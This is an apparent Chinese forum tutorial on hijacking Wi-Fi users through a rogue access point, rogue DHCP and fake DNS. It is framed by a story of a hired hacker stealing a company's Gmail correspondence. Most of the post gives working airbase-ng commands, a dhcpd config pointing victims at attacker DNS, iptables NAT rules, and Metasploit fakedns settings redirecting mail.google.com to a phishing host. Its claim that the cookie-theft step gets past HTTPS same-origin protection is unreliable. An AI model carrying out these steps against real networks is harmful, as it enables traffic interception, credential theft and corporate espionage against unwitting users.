[其他] 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击

[复制链接]
4423|33
 楼主| features 发表于 2019-9-7 17:28 | 显示全部楼层 |阅读模式
相关学习资料

http://www.freebuf.com/articles/5448.html
http://www.freebuf.com/articles/wireless/5351.html
http://tankaiha.blog.51cto.com/8553228/1384460
http://zh.wikipedia.org/wiki/Aircrack-NG
http://www.exploit-db.com/wp-content/themes/exploit/docs/20875.pdf
http://xiao106347.blog.163.com/blog/static/215992078201425920197/
http://www.metsky.com/archives/561.htm
黑客大曝光:无线网络安全(原书第2版).pdf

 楼主| features 发表于 2019-9-7 17:28 | 显示全部楼层
目录

1. 攻击发生的场景、攻击方式思路分析
2. 攻击技术原理分析
    2.1 伪AP原理
    2.2 DHCP配置
    2.3 DNS配置
    2.4 Deauth/DOS拒绝服务攻击
    2.5 XSS中的同源策略
3. 攻击重现实验  
 楼主| features 发表于 2019-9-7 17:29 | 显示全部楼层
1. 攻击发生的场景、攻击方式思路分析

从本质上来说,内网的流量劫持并不是一个新的攻击技术,网上有很多关于内网ARP欺骗、IP Spoling、DNS Poison投毒的优秀**。与此同时,我们也应该认识到,安全技术是一个不断更替、演进的过程,随着新的技术、新的使用方式的出现,原有的安全问题会通过组合衍生出新的攻击姿势,我们今天要讨论的无线安全就是如此,在Wireless这个前提下,内网的攻击能够变得更加有效、隐蔽(当然是对黑客来说)。
 楼主| features 发表于 2019-9-7 17:29 | 显示全部楼层
我们来思考下面这个虚构的故事(纯属YY):

小红是一家公司的老板助理,日常主要做的事就是帮助老板协调项目合同、以及发送招标文件。
小黑是一个雇佣黑客,他受雇于A公司的一家对手B公司,他的任务就是窃取A公司的机密邮件以获取A公司的决策动态。
在接到B公司发来的前期定金之后,小黑立刻着手开始社工A公司,目标当然就是小红,通过一番前期踩点、渗透之后,小黑得到了如下的信息:
1) 公司A在整个公司园区部署了无线AP,并对公司内外人员进行了物理隔离,公司内部人员需要通过员工帐号、密码连接A-INT的内网AP,而非公司员工的来访者只能连接A-OUT,这两个网络不属
于一个C段,即想通过传统的内网嗅探,C段ARP攻击难度较大(除非能社工到一个公司内部人员的帐号、密码)
2) A公司的内部没有设置针对Wireless的IDS、IPS,而且员工普遍没有设置静态DHCP、静态DNS绑定
3) 小红平时使用最多的是GMAIL进行邮件发送
有了上述的基本信息后,小黑开始冥思苦想,他需要构思出一种攻击姿势,能够借助某种技术在当前环境下对小红的GMAIL进行劫持,夜渐渐深了,小黑在电脑前快速敲打着键盘,突然,他的嘴角露
出了一丝不易察觉的笑容...
 楼主| features 发表于 2019-9-7 17:30 | 显示全部楼层
小黑想出了一个攻击方案,需要综合利用几种技术

伪AP+伪DHCP+伪DNS+钓鱼页面(XSS攻击)+获取GMAIL Cookie
1. 首先,黑客通过Deauth/Disassociation攻击,强制目标用户和原始AP断开连接,通过设置伪AP,尝试让目标用户连接到攻击者的伪AP上
2. 目标用户重连之后,会尝试重新获取IP,即发送DHCP数据包(DHCP lease(DHCP租约)认证),当客户端在向DHCP服务器进行租约申请的时候,会采用DHCP服务器发回来的DNS服务器IP地址作
为首选
3. 我们的"伪DHCP服务器"和"合法的DHCP服务器"会进行一场"时间竞赛",即我们的"伪DHCP服务器"和"合法的DHCP服务器"都会发送一个"DHCP租约回应"数据包,关键问题是看谁的数据包先被
客户端接收
4. 一旦我们的"伪DHCP服务器"发送的数据包先被客户端接收到,客户端在采用我们的指定IP的同时,也会接受我们指定的首选DNS服务器IP地址,这就是DNS劫持的第一步
5. 这种DNS劫持比DNS投毒的效果还要好,一旦成功,在当前租约时间段内就是永久有效的
6. 现在客户端已经将我们的"伪DNS的IP地址"当作默认的DNS地址了,目标用户的所有DNS请求都会发往我们的"伪DNS服务器",我们劫持了目标用户的DNS流量,他所有的URL访问对应的IP是我们
可以控制的
7. 目标用户在访问某个URL的时候(例如GMAIL),它收到的DNS解析IP就是我们控制的"钓鱼IP地址"(前提是目标用户的DNS缓存已经过期,它会重新向DNS获取一次IP),我们可以利用钓鱼页面对
目标用户进行攻击
8. 到了这一步,我们要利用这个钓鱼页面发起XSS攻击。
我们需要在"钓鱼页面"中嵌入iframe,来获取"指定网站的cookie",通常来说,WEB浏览器不会返回cookie到一个脚本中,除非该脚本来自同一个域的服务器,这就是所谓的同源策略。
我们可以绕过这个防御的原因在与:   
  1) 例如我们的目标是偷取目标GMAIL的cookie
  2) 我们在我们的伪DNS上设置
  https://mail.google.com 钓鱼IP地址
  3) 受害者的浏览器访问的还是正常的
  https://mail.google.com,虽然实际对应的IP是我们的钓鱼IP,但是对于浏览器来说,它只认IP
  4) 这样,我们在钓鱼页面上嵌入XSS攻击代码,将https://mail.google.com 的cookie发到https://mail.google.com上,要记住,这个时候https://mail.google.com还是我们的
  钓鱼IP地址,但是浏览器认为这是在执行一个同源的cookie发送,是合法的,所以,攻击成立
  9. 攻击者通过XSS攻击获取到了目标用户在GMAIL域的cookie,从而可以进行正常等了GMAIL(以目标用户的身份),从而获取到目标用户的邮件记录
 楼主| features 发表于 2019-9-7 17:30 | 显示全部楼层
以上就是基本的思路分析,我们接下来我逐一学习本次攻击中需要涉及到的协议格式、技术原理
 楼主| features 发表于 2019-9-7 17:31 | 显示全部楼层
2. 攻击技术原理分析

0x1: 伪AP

要实现伪AP,我们首先得明白真实的原始AP的工作方式,我们之所以在宽带连接中能看到这么多的Wi-Fi列表,就是因为我们的附近的AP(或者叫wifi热点)在不断地发送Beacon信标帧(管理帧的一种)

504705d7378d423026.png
 楼主| features 发表于 2019-9-7 17:31 | 显示全部楼层
这个信标帧主要传递了以下几个信息:

1. DA(Destination Address): 这个值总是为FF:FF:FF:FF:FF:FF,即通过广播方式发送Beacon信标帧
2. SA(Source Address): 发送者的MAC地址,因为是AP发送的,所以即AP的MAC地址
3. BSSID: AP的MAC地址
4. SSID(Service Set Identity): 服务集标识,即我们看到的Wifi名称
5. 加密方式: OPEN、WEP、WPA、WPA2、CCMP、TKIP
6. 工作频道: 支持的工作频道(1~13)
7. 工作模式: 支持的工作模式(802.11 b、802.11 g、802.11 n)

223395d7378eb9002e.png
 楼主| features 发表于 2019-9-7 17:31 | 显示全部楼层
只要这些维度的参数都能和原始AP相同、或兼容,则我们的伪AP就能和原始AP一样发挥作用,接受来自目标客户端的连接,从而劫持流量。

关于Beacon信标帧的格式,请参阅:

http://www.cnblogs.com/LittleHann/p/3700357.html
 楼主| features 发表于 2019-9-7 17:32 | 显示全部楼层
使用airbase-ng这款工具可以帮助我们建立Soft AP(伪AP),airbase-ng的使用参数如下:

  1. Options:   
  2. -a bssid: set Access Point MAC address //设置AP的MAC地址
  3. -i iface: capture packets from this interface //从指定接口抓取数据包(默认和数据包发送的口是同一个接口)
  4. -w WEP key: use this WEP key to en-/decrypt packets //使用指定WEP密钥进行加密/解密数据包(用于设置WEP的加密参数)
  5. -h MAC: source mac for MITM mode //MITM模式使用的源MAC地址
  6. -f disallow: disallow specified client MACs (default: allow) //不允许指定客户端MAC地址(缺省:允许)
  7. -W 0|1: [don't] set WEP flag in beacons 0|1 (default: auto) //[不要]设置WEP标志在信标0|1(缺省:默认不开启WEP,即默认是OPEN模式)
  8. -q: quiet(do not print statistics) //安静模式(不要打印统计信息)
  9. -v: verbose(print more messages) //冗长模式(打印更多信息)
  10. -A: Ad-Hoc Mode(allows other clients to peer) //Ad-Hoc模式(允许其他客户端处于同等级)
  11. -Y in|out|both: external packet processing //外部数据包处理
  12. -c channel: sets the channel the AP is running on //设置AP运行在的信道
  13. -X: hidden ESSID //隐藏ESSID
  14. -s: force shared key authentication (default: auto) //强制使用共享密钥验证(缺省:自动,即默认设置的伪AP是WPA模式的)
  15. -S: set shared key challenge length (default: 128) //设置共享密钥挑战长度(缺省:128)
  16. -L: Caffe-Latte WEP attack (use if driver can't send frags) //Caffe-LatteWEP攻击(当不能发送碎片时)
  17. -N: cfrag WEP attack (recommended) //cfragWEP攻击(推荐)
  18. -x nbpps: number of packets per second (default: 100) //每秒发送数据包个数(缺省:100)
  19. -y: disables responses to broadcast probes //取消对广播探查的响应(即对Prob Requst Broacast的数据包予以忽略)
  20. -0: set all WPA,WEP,open tags. can't be used with -z & -Z //设置所有WPA,WEP,OPN标记,不能与-z同时用
  21. -z type: sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104 //设置WPA1标记.
  22. -Z type: same as -z, but for WPA2 //与-z一样,但是用于WPA2
  23. -V type: fake EAPOL 1=MD5 2=SHA1 3=auto //伪装EAPOL(局域网扩展验证协议)
  24. -F prefix: write all sent and received frames into pcap file //将所有发送和接受的帧写入pcap文件(这个很重要,它用来记录我们的捕获信息)
  25. -P: respond to all probes, even when specifying ESSIDs //响应所有探查,即使指定了ESSID
  26. -I interval: sets the beacon interval value in ms //设置信标时间间隔,单位毫秒
  27. -C seconds: enables beaconing of probed ESSID values (requires -P) //允许探查信标的ESSID值(要求-P参数)

  28. Filter options:   
  29. --bssid MAC: BSSID to filter/use //过滤/使用的BSSID
  30. --bssids file: read a list of BSSIDs out of that file //从指定文件读取BSSID的清单
  31. --client MAC: MAC of client to filter //客户端的MAC地址用以过滤
  32. --clients file: read a list of MACs out of that file //从指定文件读取客户端MAC地址清单
  33. --essid ESSID: specify a single ESSID (default: default) //指定一个ESSID(缺省值:default)
  34. --essids file: read a list of ESSIDs out of that file //从指定文件读取指定的ESSID清单
 楼主| features 发表于 2019-9-7 17:32 | 显示全部楼层
使用下列命令可以简单的搭建一个Soft AP,在**的后半部分我们会详细学习怎样模拟一个真实的伪AP(MAC、信道、加密方式等)
ifconfig -a        查看当前网卡情况
ifconfig wlan1 up    激活你的无线网卡
airmon-ng start wlan1    将你的无线网卡开启"Monitor"模式
airbase-ng mon0 -e "AirJJ" -c 6

65425d73793906762.png

185235d737941e2d9c.png

注意到我们已经成功模拟了一个伪AP,但是这个伪AP和原始AP的各项参数还不是很一致,我们需要通过对目标AP进行信息收集,为我们的伪AP设置更高程度的仿真,这并不是很难,比起这个问题,我们当前需要首先解决的一个问题是: DHCP。实验中可以发现,我们的客户端即使已经连接上我们的伪AP之后,也会一直显示在"获取IP中..."(无法正常获取到IP),所以,我们还需要对我们的伪AP架设一个伪DHCP服务器
 楼主| features 发表于 2019-9-7 17:33 | 显示全部楼层
0x2: DHCP配置

限于篇幅原因,我将DHCP的配置、原理分析单独放到了另一篇**中
http://www.cnblogs.com/LittleHann/p/3705263.html

我们的伪DHCP服务和伪AP是搭建在同一个服务器上,在配置伪DHCP的时候,我们需要注意以下几点:

1. 客户端在连接上我们的伪AP之后,我们需要给它分配IP地址
2. DHCP配置文件中的DNS服务器IP要设置成我们的伪DNS地址
3. DHCP配置文件中的默认网关地址要设置成我们的伪AP的IP地址,将目标客户端的所有流量都劫持到我们的伪AP上,之后再通过iptables将流量导出到外网出口eth0
2. SoftAP的IP地址和Internet接口的IP地址不能在网一个段(这里将伪AP的IP设置为10.0.0.1)
 楼主| features 发表于 2019-9-7 17:33 | 显示全部楼层
我们手工搭建一个DHCP服务器

#将网卡设置为静态IP

vim /etc/network/interfaces
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.159.254
gateway 192.168.159.2
netmask 255.255.255.0
ifdown eth0
ifup eth0
vim /etc/resolv.conf
nameserver 192.168.159.2
#domain LittleHann.com
#search LittleHann.com

778825d737985c30b9.png
 楼主| features 发表于 2019-9-7 17:34 | 显示全部楼层
#安装DHCP服务

apt-get -y install dhcp3-server
安装过程中遇到错误:
Errors were encountered while processing:  
se-toolkit  
w3af  
E: Sub-process /usr/bin/dpkg returned an error code (1)
解决方案
http://blog.csdn.net/wzgl573537270/article/details/22001723
vim /etc/default/dhcp3-server
INTERFACES="at0"

cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup
vim /etc/dhcp3/dhcpd.conf

option domain-name "LittleHann.com";
option routers 10.0.0.1; #默认网关
subnet 10.0.0.0 netmask 255.255.255.0
{
    range 10.0.0.100 10.0.0.200; #地址池
    option domain-name-servers 10.0.0.1; #默认DNS
    option broadcast-address 10.0.0.255; #广播地址   
}
default-lease-time 6000;
max-lease-time 72000;
 楼主| features 发表于 2019-9-7 17:34 | 显示全部楼层
#启动伪AP,激活at0网口

在启动DHCP之前,要先启动伪AP,激活at0网口
ifconfig wlan1 up
airmon-ng start wlan1
airbase-ng mon0 -e "AirJJ" -c 1

360275d7379aae9b20.png
 楼主| features 发表于 2019-9-7 17:35 | 显示全部楼层
#启动DHCP服务

这里要重点关注的是网关(option routers 10.0.0.1)的设置,我们的伪AP的IP地址也要设置成同样的IP地址,即达到劫持流量的目的
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

/etc/init.d/dhcp3-server restart
/etc/init.d/dhcp3-server start

244205d7379c8b0a73.png

DHCP服务器工作正常

958605d7379d551ddb.png

用android手机连接上这个伪AP,可以看到,IP获取正常

692695d7379e356ca0.png
 楼主| features 发表于 2019-9-7 17:35 | 显示全部楼层
0x3: Iptables流量牵引

我们目前通过伪AP、以及伪DHCP的架设,将目标客户端的流量都劫持到了我们的无线虚拟网卡at0上,要保证用户能正常上网,还需要使用Iptables做一次流量牵引,将at0上的流量NAT到真正的出口网卡eth0上,这样才算真正的伪AP(目标客户端还能正常上网、不会察觉有异常)

#利用iptable的路由点Hook功能,将at0(伪AP)上的流量和网口(eth0)做一个NAT,将流量牵引出去
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT --to 10.0.0.100

关于Iptables的原理、以及使用方式,请参阅我的另一篇**

http://www.cnblogs.com/LittleHann/p/3708222.html
 楼主| features 发表于 2019-9-7 17:36 | 显示全部楼层
0x4: DNS配置

我们在DHCP服务器的配置文件中指定客户端的默认DNS为伪AP所在的本机(10.0.0.1)

283455d737a1268bf3.png

所以,我们必须在10.0.0.1上架设一个DNS服务器,将客户端的DNS解析请求劫持到我们的的phning page(钓鱼页面)上

msf集成了一个模块,用于模拟一个DNS服务器

https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/fakedns.rb
http://tools.pentester.es/fakedns
http://www.digininja.org/metasploit/dns_dhcp.php
 楼主| features 发表于 2019-9-7 17:36 | 显示全部楼层
配置方法如下:

use auxiliary/server/fakedns
show options
set TARGETACTION FAKE
set TARGETDOMAIN mail.google.com
set TARGETHOST 10.0.0.1
run

从配置文件中我们可以看到,我们将mail.google.com(Gmail邮箱)的域名劫持到了10.0.0.1(本机上)
 楼主| features 发表于 2019-9-7 17:37 | 显示全部楼层
要注意的是:

1. fakedns这个msf模块只会劫持我们设置的域名,在本例中是mail.google.com
2. 对于其他的非目标域名(即不是mail.google.com的域名)则采取转发的方式,即走本机正常的DNS解析流程,即保证目标客户端的正常上网

客户端连接上我们的伪AP后,访问www.sina.cn是正常的

210625d737a4a0e63b.png
您需要登录后才可以回帖 登录 | 注册

本版积分规则

41

主题

463

帖子

1

粉丝
快速回复 在线客服 返回列表 返回顶部